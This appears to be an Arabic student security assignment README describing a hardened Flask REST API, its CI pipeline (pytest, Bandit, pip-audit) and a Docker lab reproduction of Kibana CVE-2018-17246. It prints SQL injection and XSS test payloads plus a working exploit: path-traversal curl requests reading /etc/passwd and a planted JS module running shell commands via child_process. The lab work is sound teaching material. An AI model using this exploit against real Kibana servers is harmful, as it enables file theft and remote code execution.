
HDU IS Work 1 - واجهة برمجة تطبيقات REST آمنة (Flask) مع CI/CD (pytest + bandit + pip-audit) وتحليل CVE-2018-17246
واجهة REST API آمنة بلغة Python/Flask، مع CI/CD عبر GitHub Actions (SAST + SCA + اختبارات آلية)، وتحليل كامل لثغرة CVE حقيقية أُعيد إنتاجها في بيئة Docker (Kibana LFI، CVE-2018-17246).
الاسم: Guhaotian رقم HDU: 23320209
https://github.com/ght657/work1-secure-api (عام)POST /auth/login — يُصدر JWT موقّعًا بعد التحقق من تجزئة كلمة المرور.GET /api/data — محمية بـ JWT (رمز Bearer)؛ تُعيد سجلات المستخدم الحالي.GET /api/users/search?q= — نقطة نهاية قراءة محمية باستعلام SQL مرتبط بالمعاملات.POST /api/posts (محمية بـ JWT) تُوضّح الحماية من XSS المخزّن / تهريب المخرجات.ملف سير العمل: .github/workflows/ci.yml، يُشغَّل عند كل دفع إلى main.
| المهمة | الأدوات | ما تفعله | الدليل |
|---|---|---|---|
test | pytest 8 | تشغيل مجموعة الاختبارات المكوّنة من 11 اختبارًا | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | تحليل ساكن لـ app/ وtests/ (تقرير JSON يُرفع كأثر) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | تدقيق التبعيات (تقرير JSON يُرفع كأثر) | evidence/09_pip_audit_report.png |
يفشل خط الأنابيب إذا فشل أي اختبار أو بقي أي اكتشاف من SAST/SCA، لذا فإن خط أنابيب أحمر يعني أنه يجب دفع إصلاح قبل الدمج.
11 اختبارًا، جميعها ناجحة (pytest -q):
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
كود التطبيق خاص بنا، لذا فإن التشغيل الأول لا يحتوي بطبيعته على أي ضوضاء من طرف ثالث. النتيجة: 0 مشكلات:
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
يسرد pip-audit جميع التبعيات ذات الثغرات المعروفة (CVEs)؛ وقد وجد التشغيل الأولي:
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
19 مدخلًا إجمالًا (Flask، PyJWT ×17، python-dotenv). قمت بالترقية إلى الإصدارات المُصلحة:
Flask 3.1.3، PyJWT 2.15.0 وأزلت python-dotenv (مساعد إعدادات اختياري فقط —
الإصدار المُصلح 1.2.2 يتطلب Python ≥ 3.10 بينما بيئة audit الافتراضية هي 3.9).
بعد الإصلاح:
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png، evidence/09b_pip_audit_after_fix.png)
تم اختبار واجهة برمجة التطبيقات (API) ضد الهجمات الكلاسيكية باستخدام curl. توجد لقطات الشاشة في evidence/:
POST /auth/login مع username: "admin'--" يُرجع 401 Invalid credentials —
يستخدم البحث استعلام ORM مُعامَلًا (parameterized) مقابل بيانات الاعتماد المُجزَّأة، وتبقى
الحمولة المحقونة بيانات ولا تتحول أبدًا إلى SQL.
GET /api/users/search?q=%' OR '1'='1 ← تُربط السلسلة كمعامل (parameter) في
SELECT ... WHERE username LIKE ? (مع تهريب أحرف البدل)، لذا لا تطابق شيئًا وتُعيد واجهة برمجة التطبيقات
قائمة فارغة — لا خطأ ولا استخراج كامل للجدول.
POST /api/posts مع title: "<script>alert('xss')</script>"؛ يخزّن الخادم
السلسلة الخام لكنه يهرّبها عند الإخراج (markupsafe.escape + jsonify)، لذا فإن الحمولة
المُعادة هي <script>alert('xss')</script> — يعرضها المتصفح كنص، ولا
ينفّذها. (توجد إعادة الإنتاج بعرض المتصفح في evidence/06_xss_readback.png.)
401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)200 + بيانات محمية (evidence/04_data_with_token.png)401 (فحص التوقيع باستخدام HS256)401 (انتهاء الصلاحية بعد 60 دقيقة)Authorization: Bearer <token>
(evidence/10_jwt_structure.png يُظهر البنية المكوَّنة من 3 أجزاء).تُخزَّن كلمات المرور كتجزئات bcrypt (12 جولة) ولا تُعاد أبدًا من أي نقطة نهاية
(اختبار test_passwords_stored_as_bcrypt_hashes).
/etc/passwd)، ولأن المسار المُعرَّض للثغرة يتطلب الملف كوحدة
JS — إذا كان يمكن الوصول إلى مسار قابل للكتابة (مثلًا عبر ثغرة أخرى أو
ملف مؤقت مُولَّد)، فيمكن تنفيذ JS الذي يتحكم فيه المهاجم بواسطة عملية Kibana.GET /api/console/api_server?apis=../../../../../../etc/passwd — يُمرَّر المعامل apis
إلى require() بعد فحص بسيط للمسار فقط، مما يسمح لتسلسلات .. بالخروج من دليل
api على جانب الخادم وقراءة/تنفيذ ملفات عشوائية.أستخدم صورة vulhub العامة (المنشورة بالفعل، والمُتحقَّق من تعرّضها للثغرة):
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — انظر
CVE-2018-17246/docker-compose.yml (مجلد بالاسم نفسه في هذا المستودع).
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
الخطوة 1 — تفعيل LFI (تقبل Console API مسار apis يُحلّ كملف):
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
الاستجابة هي 500 (الملف ليس وحدة JS صالحة) لكن محتوى الملف يظهر في
سجل الخادم — يقرأ Kibana الملف ويحاول استدعاء require() عليه:
docker compose logs kibana | grep -i "passwd\|root:x"
الخطوة 2 — التصعيد إلى تنفيذ الشيفرة. يُحمَّل ملف JS محلي كوحدة نمطية عبر
المسار نفسه: /tmp/vulhub.js يحتوي على "webshell" صغير ينفّذ أمر shell عند
استدعاء الدالة المُصدَّرة منه بواسطة Console API:
// /tmp/vulhub.js (written inside the Kibana container)
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
# write the file inside the container and load it
docker compose exec kibana bash -c "mkdir -p /tmp && cat > /tmp/vulhub.js << 'EOF'
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
EOF"
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=/tmp/vulhub.js"
تسبق استجابة 500، في سجل Kibana، مخرجات الأمر id
(مثل uid=0(root) gid=0(root) groups=0(root))، مما يثبت تنفيذ أوامر عشوائية.